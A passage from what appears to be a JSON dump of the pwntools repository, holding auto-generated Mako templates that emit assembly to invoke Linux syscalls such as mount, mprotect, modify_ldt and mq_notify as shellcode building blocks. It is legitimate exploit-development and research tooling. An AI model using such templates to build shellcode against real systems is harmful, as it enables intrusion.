    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>modify_ldt(func, ptr, bytecount) -> str\n\nInvokes the syscall modify_ldt.\n\nSee 'man 2 modify_ldt' for more information.\n\nArguments:\n    func(int): func\n    ptr(void*): ptr\n    bytecount(unsigned): bytecount\nReturns:\n    int\n</%docstring>\n<%page args=\"func=0, ptr=0, bytecount=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['ptr']\n    can_pushstr_array = []\n\n    argument_names = ['func', 'ptr', 'bytecount']\n    argument_values = [func, ptr, bytecount]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_modify_ldt']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_modify_ldt'])\n%>\n    /* modify_ldt(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mount.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mount(special_file, dir, fstype, rwflag, data) -> str\n\nInvokes the syscall mount.\n\nSee 'man 2 mount' for more information.\n\nArguments:\n    special_file(char*): special_file\n    dir(char*): dir\n    fstype(char*): fstype\n    rwflag(unsigned): rwflag\n    data(void*): data\nReturns:\n    int\n</%docstring>\n<%page args=\"special_file=0, dir=0, fstype=0, rwflag=0, data=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['special_file', 'dir', 'fstype', 'data']\n    can_pushstr_array = []\n\n    argument_names = ['special_file', 'dir', 'fstype', 'rwflag', 'data']\n    argument_values = [special_file, dir, fstype, rwflag, data]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mount']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mount'])\n%>\n    /* mount(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mount_setattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mount_setattr(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall mount_setattr.\n\nSee 'man 2 mount_setattr' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mount_setattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mount_setattr'])\n%>\n    /* mount_setattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/move_mount.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>move_mount(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall move_mount.\n\nSee 'man 2 move_mount' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_move_mount']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_move_mount'])\n%>\n    /* move_mount(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/move_pages.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>move_pages(pid, count, pages, nodes, status, flags) -> str\n\nInvokes the syscall move_pages.\n\nSee 'man 2 move_pages' for more information.\n\nArguments:\n    pid(int): pid\n    count(unsigned): count\n    pages(void**): pages\n    nodes(int*): nodes\n    status(int*): status\n    flags(int): flags\nReturns:\n    long\n</%docstring>\n<%page args=\"pid=0, count=0, pages=0, nodes=0, status=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = ['pages']\n\n    argument_names = ['pid', 'count', 'pages', 'nodes', 'status', 'flags']\n    argument_values = [pid, count, pages, nodes, status, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_move_pages']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_move_pages'])\n%>\n    /* move_pages(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mprotect.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mprotect(addr, length, prot) -> str\n\nInvokes the syscall mprotect.\n\nSee 'man 2 mprotect' for more information.\n\nArguments:\n    addr(void*): addr\n    length(size_t): length\n    prot(int): prot\nReturns:\n    int\n</%docstring>\n<%page args=\"addr=0, length=0, prot=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['addr']\n    can_pushstr_array = []\n\n    argument_names = ['addr', 'length', 'prot']\n    argument_values = [addr, length, prot]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mprotect']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mprotect'])\n%>\n    /* mprotect(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mpx.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mpx(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall mpx.\n\nSee 'man 2 mpx' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mpx']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mpx'])\n%>\n    /* mpx(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mq_getsetattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mq_getsetattr(mqdes, newattr, oldattr) -> str\n\nInvokes the syscall mq_getsetattr.\n\nSee 'man 2 mq_getsetattr' for more information.\n\nArguments:\n    mqdes(mqd_t): mqdes\n    newattr(mq_attr*): newattr\n    oldattr(mq_attr*): oldattr\nReturns:\n    int\n</%docstring>\n<%page args=\"mqdes=0, newattr=0, oldattr=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['mqdes', 'newattr', 'oldattr']\n    argument_values = [mqdes, newattr, oldattr]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mq_getsetattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mq_getsetattr'])\n%>\n    /* mq_getsetattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mq_notify.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mq_notify(mqdes, notification) -> str\n\nInvokes the syscall mq_notify.\n\nSee 'man 2 mq_notify' for more information.\n\nArguments:\n    mqdes(mqd_t): mqdes\n    notification(sigevent*): notification\nReturns:\n    int\n</%docstring>\n<%page args=\"mqdes=0, notification=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['mqdes', 'notification']\n    argument_values = [mqdes, notification]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mq_notify']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mq_notify'])\n%>\n    /* mq_notify(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    